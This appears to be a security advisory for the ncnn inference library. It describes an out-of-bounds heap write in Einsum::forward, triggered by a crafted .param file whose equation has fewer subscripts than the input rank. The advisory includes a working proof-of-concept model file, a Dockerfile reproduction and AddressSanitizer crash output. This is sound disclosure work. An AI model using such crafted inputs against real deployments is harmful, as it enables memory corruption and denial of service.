Einsum Shape Inference Out-Of-Bounds Write

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/einsum.cpp:214 in Einsum::forward
Sanitizer verdict: SEGV on unknown address 0x505ffffffedc (pc 0x63783fbe4a6a bp 0x7ffc0efd8f60 sp 0x7ffc0efd89e0 T0)

Summary

A four-line text .param file handed to ncnnoptimize makes Einsum::forward compute a large negative index and write a 32-bit value far outside the dim_sizes vector, crashing the optimizer with a wild write. The equation string and the input tensor rank are two independent attacker-controlled values that Einsum::load_param never cross-checks, so an equation with fewer subscript letters than the input has dimensions indexes past the end of the token. No weight file is required — the PoC passes null as the model binary.

Detail

The untrusted field is Einsum parameter key 0, an integer array that load_param converts back into a lexical equation string and splits on -> and , into lhs_tokens and rhs_token. load_param checks only that an arrow exists; it never records how many subscripts each token has, and it cannot, because the input ranks are not known until forward time. ncnnoptimize reaches Einsum::forward because ModelWriter::shape_inference() (tools/modelwriter.h:435) really executes every layer through Extractor::extract.

// src/layer/einsum.cpp:194
    for (size_t b = 0; b < bottom_blobs.size(); b++)
    {
        const std::string& lhs_token = lhs_tokens[b];
        const Mat& bottom_blob = bottom_blobs[b];
        const int in_dims = bottom_blob.dims;

        for (int s = 0; s < in_dims; s++)
        {
            int dim_size = 1;
            if (in_dims == 1) dim_size = bottom_blob.w;
            if (in_dims == 2 && s == 0) dim_size = bottom_blob.h;
            if (in_dims == 2 && s == 1) dim_size = bottom_blob.w;
            if (in_dims == 3 && s == 0) dim_size = bottom_blob.c;
            if (in_dims == 3 && s == 1) dim_size = bottom_blob.h;
            if (in_dims == 3 && s == 2) dim_size = bottom_blob.w;
            if (in_dims == 4 && s == 0) dim_size = bottom_blob.c;
            if (in_dims == 4 && s == 1) dim_size = bottom_blob.d;
            if (in_dims == 4 && s == 2) dim_size = bottom_blob.h;
            if (in_dims == 4 && s == 3) dim_size = bottom_blob.w;

            int dim_sizes_index = lhs_token[s] - 'i';
            dim_sizes[dim_sizes_index] = dim_size;
            dim_sizes_count = std::max(dim_sizes_count, dim_sizes_index + 1);
        }
    }

The loop bound is in_dims, taken from the blob, while the subscript is read from lhs_token, taken from the equation. The PoC declares Input data 0 1 data 0=2 1=2, a rank-2 blob, and the equation array -23300=4,105,45,62,105 decodes to i->i, so lhs_tokens[0] is the one-character string "i". Iteration s = 0 behaves normally ('i' - 'i' == 0). Iteration s = 1 reads lhs_token[1], which is the string's terminating '\0', giving dim_sizes_index = 0 - 105 = -105.

dim_sizes is a std::vector<int> of 16 elements, so dim_sizes[-105] addresses 420 bytes before the vector's heap buffer, and line 215 stores bottom_blob.w there. Neither the index nor dim_sizes_count is range-checked against the vector, and the subsequent dim_sizes.resize(dim_sizes_count) is reached only if the store does not fault. Any equation whose left-hand token is shorter than the corresponding input rank produces a negative index in the same way; longer or reordered tokens can also drive the index above 16 and write past the end.

Reproduce

mkdir -p ncnn-poc-einsum-shape-inference-out-of-bounds-write && cd ncnn-poc-einsum-shape-inference-out-of-bounds-write

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=2 1=2
Einsum einsum 1 1 data out -23300=4,105,45,62,105
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x505ffffffedc (pc 0x567455dc2a6a bp 0x7fff5b3e6b20 sp 0x7fff5b3e65a0 T0)
==1==The signal is caused by a WRITE memory access.
    #0 0x567455dc2a6a in ncnn::Einsum::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/layer/einsum.cpp:215
    #1 0x56744d2d970b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
    #2 0x56744d2c1b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x56744d3219e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x56744d1b33c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x56744d230eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x72501a9b91c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x72501a9b928a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x56744d1b0624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/layer/einsum.cpp:215 in ncnn::Einsum::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const
==1==ABORTING

Credit

Zheng Yu @ DepthFirst